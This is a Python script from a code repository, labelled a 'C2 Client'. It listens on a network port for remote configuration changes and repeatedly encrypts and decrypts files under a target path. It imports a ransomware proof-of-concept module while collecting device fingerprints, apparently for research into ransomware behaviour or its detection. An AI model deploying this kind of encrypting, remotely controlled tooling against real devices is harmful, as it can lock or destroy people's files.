-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathclient-collect-fp.py
More file actions
96 lines (74 loc) · 2.85 KB
/
Copy pathclient-collect-fp.py
File metadata and controls
96 lines (74 loc) · 2.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from argparse import ArgumentParser
from json import loads
from multiprocessing import Process
from socket import AF_INET, SOCK_STREAM, socket
from subprocess import call
from globals import update_existing_config
from rwpoc import run
TARGET_PATH = "<start-path-on-target-device>"
def parse_args():
parser = ArgumentParser(description='C2 Client')
parser.add_argument('-n', '--number',
help='Number of fingerprints to collect in one encryption run.',
default=0,
action="store")
return parser.parse_args()
def listen_for_config_changes():
with socket(AF_INET, SOCK_STREAM) as sock:
sock.bind(("0.0.0.0", 42666))
sock.listen(1)
while True:
conn, addr = sock.accept() # keep listening for new connections
with conn:
while True:
data = conn.recv(1024) # listen for incoming data of connection
if not data:
break
new_config = loads(data.decode(encoding="utf-8"))
print("received", new_config)
update_existing_config(new_config)
def collect_device_fingerprint(limit):
if limit > 0:
"""
Remember: once the limit is reached the subprocess is terminated.
However, the (parent) encryption process is still running to completion
and will re-trigger the FP collection on the next iteration - up to the limit.
"""
call(["./fingerprinter.sh", "-n {}".format(limit)])
else:
call("./fingerprinter.sh") # without option "-n <limit>", this will continuously collect FP
def kill_process(proc):
print("kill Process", proc)
proc.terminate()
proc.join()
if __name__ == "__main__":
# Parse arguments
args = parse_args()
num_fp = int(args.number)
# Start subprocess to integrate config changes
procs = []
proc_config = Process(target=listen_for_config_changes)
procs.append(proc_config)
proc_config.start()
try:
abs_paths = TARGET_PATH
while True:
# input("\nEnter: start encrypting")
proc_fp = Process(target=collect_device_fingerprint, args=(num_fp,))
proc_fp.start()
procs.append(proc_fp)
# input("\nwait shortly for child to start")
print("\nENCRYPT")
run(encrypt=True, absolute_paths=abs_paths) # encrypt
kill_process(proc_fp)
procs.remove(proc_fp)
# input("\nEnter: start decrypting")
print("\nDECRYPT")
run(encrypt=False, absolute_paths=abs_paths) # decrypt
finally:
print("finally")
for proc in procs:
if proc.is_alive():
kill_process(proc)
else:
print("Process", proc, "already dead.")